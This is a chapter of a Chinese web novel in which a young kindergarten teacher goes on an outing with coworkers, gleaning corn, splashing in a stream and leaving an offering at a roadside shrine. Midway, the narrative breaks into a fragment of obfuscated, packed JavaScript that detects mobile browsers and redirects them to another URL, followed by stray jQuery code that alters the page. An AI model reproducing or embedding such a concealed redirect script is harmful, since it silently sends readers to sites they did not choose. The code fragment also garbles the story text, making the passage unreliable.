“园长叫你什么事?”谢欣怡一出来,好打听的章静就往跟前凑,问出所有人的疑惑。


    不能把园长想栽培自己的事秃噜出去,谢欣怡随便扯了个谎:“哦,她就让我别往心里去。”


    谁都知道说的是上午的事,也就没再言语,众人重新围上来,嬉笑地说着早就打听好哪里好玩的话,熙熙攘攘地朝那处进发,一路踩着高低不平坑坑洼洼的泥土路往村子后山走。


    这时的农村还没发展起来,周围都还是土土的石砖泥土坯盖就的老房,路更是反复踩踏夯实无比的泥土路,哪里有个石板铺就的道路都得算豪华大气。


    待经过一处刚收割完的玉米地几人默契地停下脚步,趁着四下无人,章静率先跃过田埂在收割完的地里翻找。


    “嘿,我就说她是贪吃鬼吧,章静这妮儿死活不认。”田梅猛拍大腿笑得前仰后合,也一并迈了过去。


    有这两人牵头,其余人也稀稀拉拉地跟了上来,只有谢欣怡一脸茫然不知道她们要做啥。


    “傻愣着干什么?”章静举起她发现的小苞米招呼谢欣怡赶快捡漏,“还不下来,等会被村里的看见准要撵咱们走。”


    竟然还有这种好漏能捡!谢欣怡立刻两眼放光,她家小八的伙食费又能省一些了!


    很快每人都捡了五六个小不溜丢、歪瓜裂枣的苞米,再是如此也沉甸甸的很是喜人。谁都不贪多,紧赶慢赶地跑出人家的地盘。


    章静笑地得意,对众人挤眉弄眼:“有句话怎么说?撑死胆大的,饿死胆小的!”


    田梅对她翻个白眼,从兜里掏出布袋子把自己的装好:“是是是,您最能个儿。”


    “诶!好东西不给大家使是吧!”章静对着布袋指指点点,把自己的往里一塞当甩手掌柜逍遥去了。


    田梅没好气地摇摇头,问其他人要不要也装进来。好像就谢欣怡和章静什么都没准备,其他人都带了布口袋,谢欣怡也不好意思白用人东西,把拎口袋的活揽了下来。


    “章静真该跟你学学,年纪最大,心智还跟个孩子似的。”田梅也没真让谢欣怡全拿,自己提溜着一边的提手分担重量。


    谢欣怡跟着笑了几声,看着章静在前面像个大姐大似的当领头人不由生出一些羡慕:“我倒挺喜欢她这样的,结婚了也保持着这种欢快劲儿,没有觉得年纪到了就该压抑下来当个稳重的大人。”临了又连连摆手地找补一句,“没说别人不好的意思。”


    田梅点点头表示理解她的意思:“我跟你一样,不然也不会跟她走得近。”她低头沉默一阵像是下定了什么决心,转头看向谢欣怡继续说道,“按理说我得跟你道个歉。说句实在话,以前我对你挺无感的,记得你刚来那会儿虽然也是个干活麻利爽快的但只不吭不哈地闷头做事,遇到问题了就笑笑什么都不说,弄得没少被那些年纪大的挤兑,我们几个也都是能少一件事是一件的没插过手。抱歉。”


    谢欣怡没想到会听到原主之前的事,她摆摆手表示都过去了,都该向前看:“谢谢你跟我说这些,别太往心里去,咱们现在不是挺好的吗。”


    “就是喜欢跟你这种明快人打交道。”田梅咧出大大笑容,“大家都说你一个暑假变了好多,想来也是,毕竟从拐子手里救下了小孩,心境怎能没点变化,也算是大难不死以后什么都豁得出去了。悄悄跟你说,不少人都很敬佩你面对拐子的英勇事迹——包括我。”


    这话给谢欣怡带来不小的启发,在心里感谢田梅给她找了一个这么好的理由解释暑假前后性格变化的原因,终于不用尬笑来搪塞了。


    “如果是你们遇到这种情况肯定会做出同样的事。”打拐的事确实与她无关,照常推脱一番继续补充,“不过说真的,之后回想当时的事就觉得以后再没有什么困难能阻碍我了,还能有比那天更危险、更恐怖的事吗?没有了,那为什么不能活得更潇洒肆意一些呢?”她情真意切地说着,要让这个理由彻底扎入人心。


    但她说的这些感受也不是无的放矢,来到这里的几个月经历了太多太多,有好几次以为命都要没了。可现在,她认识了林璩大师、卢姨,身边有呼呼、有小灯笼,供奉的那几个鬼也算有用,终于不是当初只能抱头鼠窜的谢欣怡,她还有很多事可以做。


    田梅不知道她心里想的这些,只对她的话深有同感,愈发觉得谢欣怡跟自己聊得来,幸好没有错过这个朋友。在前面几人的招呼中她们紧赶慢赶地追了上去,对等会要去的地方阐述期待。


    .


    还没走近就听到溪水流淌的声音,悦耳动听,引人遐想联翩。众人没有因着对溪流的期盼加快步伐,继续悠哉悠哉地漫步于残缺的树荫之下,欣赏初秋时节层次分明的美。这时绿叶尚存,又有红黄搭配,是金秋最美的时间段之一。


    “左了,我该再坚持坚持把相机带来。”田梅懊悔不已,为没有说动老爸把相机骗到手自责。


    “这有什么。”章静宽慰道,“你带了就是今天的摄像师,合影肯定得来一张吧,还有每个人单独的一张,关系好的也得再来一张,通通都是你的事。不带就对了,两手空空无事一身轻。”


    虽然有众人的附和,但田梅还是有些钻牛角尖怎么都过不去那个坎儿,低着头闷闷的一声不吭。


    “田梅你得这么想,未来的日子还长着呢,你会看到比今天更美的景,记录下更美的瞬间,不要为今天的遗憾绊住脚步。”谢欣怡作为一个二十一世纪的零零后最有发言权,今天只是少了一小份回忆,但未来能记录的事日新月异。


    章静直给谢欣怡比大拇指,还是她会说。紧接着趁热打铁,把田梅哄笑了。


    又往前走了段,今日的主角映入眼帘。


    那是条让人倍感惊喜的林间小溪,清澈的溪流并不湍急,温和地途径此地,带来的温润潮湿给露在表面的石头上覆盖着一层绿油油的苔藓。


    走得近了,水下的沙石清晰可见,每一颗被水流冲刷得圆润饱满仔细挑拣还能找到潜藏在深处的,不多的雨花石。其水位深深浅浅,浅的地方刚没过脚面,深的地方能到人小腿肚子,几人壮着胆子脱下鞋袜淌入进去。


    沁凉的溪水流过脚面,谢欣怡动动脚趾扒拉开石子陷进更深的沙石层,不知名的小鱼远远近近地围绕过来,对脚趾垂涎欲滴。谢欣怡停下脚上的动作,那些小鱼竟然真的游近过来一下一下的啄食起上面的死皮。


    这不就是以前在网上看来的,养在泡脚池里专吃死皮的小鱼。她惊喜地捂住嘴倍感新奇。


    还没享受一把免费的小鱼服务,一捧凉水迎面而来,把人浇了个透心凉,连周围的小鱼也惊吓得四处奔逃很快游了个净干净。不远处传来章静她们的笑声,不用猜都知道是谁干的好事。


    “欣怡也来玩儿啊,过了这村可就没这店了。”章静又泼了捧水,激人参战。


    谢欣怡闭了闭眼,抬手一抹脸上的水。都这么热情了,再不应约有些不合适。


    “看你姑奶奶我的厉害!”她弹跳起身,张牙舞爪地扑向章静。


    林间很快传来短促的尖叫,落水的噗通声紧随其后,


    无人在意的上方,一棵高耸的白桦树冠晃了几晃,隐在还未掉完的枝叶间,粗壮的枝杈上屈膝蹲着几个佝偻细瘦的身影,眨着明晃晃的兽瞳贪婪地看着下面玩闹的众人。


    .


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318421|190957||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >谢欣怡许久没玩得这么痛快,一直玩到饭点才提溜着鞋跟众人赤脚踩着布满石子的泥土路“诶呦、哎呀”地一路走回去——没有鞋底防护总归是硌脚的——沾的那点水早早和了泥干巴成硬土块沿途掉了一地。


    经过一处盖在路边的小庙时谢欣怡停下了脚步,说是庙,只是用土坯盖起来的四方盒子,方方正正还没鞋盒大,露出个能插香放供的地方再无其它,就连供的是什么都模糊得看不清个轮廓。其他人也就看着新鲜,随便议论几句就走了,就谢欣怡等人走远从装有苞米的布兜里摸出一个自己捡来的,还算好看的一个放在贡台上,又从在兜里摸了出来俩本来打算垫垫肚子的鸡蛋摆了上去。


    “保佑平安、保佑平安。”她双手合十地念叨两句。


    章静看人没跟上大部队折返回来就看到她正做这些,不由挑挑眉:“你摆这个干什么,不如给我吃。”


    “已经供出去的哪有再捡回来吃的道理。”谢欣怡拍走对方蠢蠢欲动的手,特地叮嘱,“除非真饿得不行揭不开锅,这种不要拿。”


    章静伸手戳上她的酒窝,啧啧两声:“也就是现在,早些年你说这个可了不得。”伸出的食指竖在唇前,“以后这话少说,事少做,小心身后有眼。”


    谢欣怡不由打了个激灵,褚卫红正要栽培自己,假如刚才的事被有心之人看见添油加醋地捅了出去,可就要辜负那些期盼了。


    “多谢。”谢欣怡感激地道谢,“回去请你吃炸茄盒。”拿油炸过,再裹上淀粉勾芡的汤汁,这样的炸茄盒没人不爱。


    “嘿嘿,”一听有好吃的,章静狡黠地笑了几声,“也不怕我以后专拿这事讹你饭吃,就这么说定了。”


    .


    没有几个像谢欣怡她们疯玩成这样的,老一辈拽着褚卫红忆苦思甜,三四十岁的踏青赏景更是惬意,这两拨人晚上一汇合就叽叽喳喳地说着今天的见闻,等几个像是从河里捞上来的姑娘们往门口一站,全笑开了。


    “哎呦,瞧瞧你们跑哪儿疯去了!”跟她们不对付的笑得最大声,倒也没真落井下石,招呼众人找毛巾烧热水,山里晚上凉可别感冒了。


    褚卫红这次没像往常就此揭过,点着她们几个批评:“这么大的人了,怎么能跟小孩似的?没点大人样儿怎么给孩子做榜样。”


    章静先去领罚:“是我起的头,园长您要说就说我吧。”


    谢欣怡紧随其后:“也是我一时忘了形没有及时阻拦。”


    另外几个也蔫不出溜儿的低头认错,说给大家添麻烦了。


    看她们认错态度不错,其他人心里的埋怨消了不少,嘴硬心软的又说了几句,最后还是与谢欣怡她们年纪相仿的小组长以“大家都是这个年纪过来的,总有点小孩子心性可以理解,没有下次”收尾,才放她们几个回屋换衣服准备吃饭。


    谢欣怡经过褚卫红时看到她无奈又好笑地摇摇头悬着的心略略落地,生气是肯定有的,毕竟刚说要培养自己就当着这么多人的面带着那么多人搞成这样怎么服众?但作为过来人也是理解年轻人好玩的心性,她这个当园长的先点名批评,总比别人没轻没重说一堆挑起逆反心理吵吵起来强。


    “给园长惹麻烦了呢。”谢欣怡套上外套小声嘀咕一句。


    “别往心里去,每年都有人捅娄子,年年不一样,咱们今天干的这点事都入不了她们法眼。”章静已经听惯了这些,她刚来的那个暑假曾经趁着人少把孩子偷摸带出去买冰棍儿,事迹败露后好一顿批评,但她不还是干到了现在。


    看其他人感同身受的样子,谢欣怡半信半疑地登上鞋出去吃饭。


    今天玩太疯了,她好饿。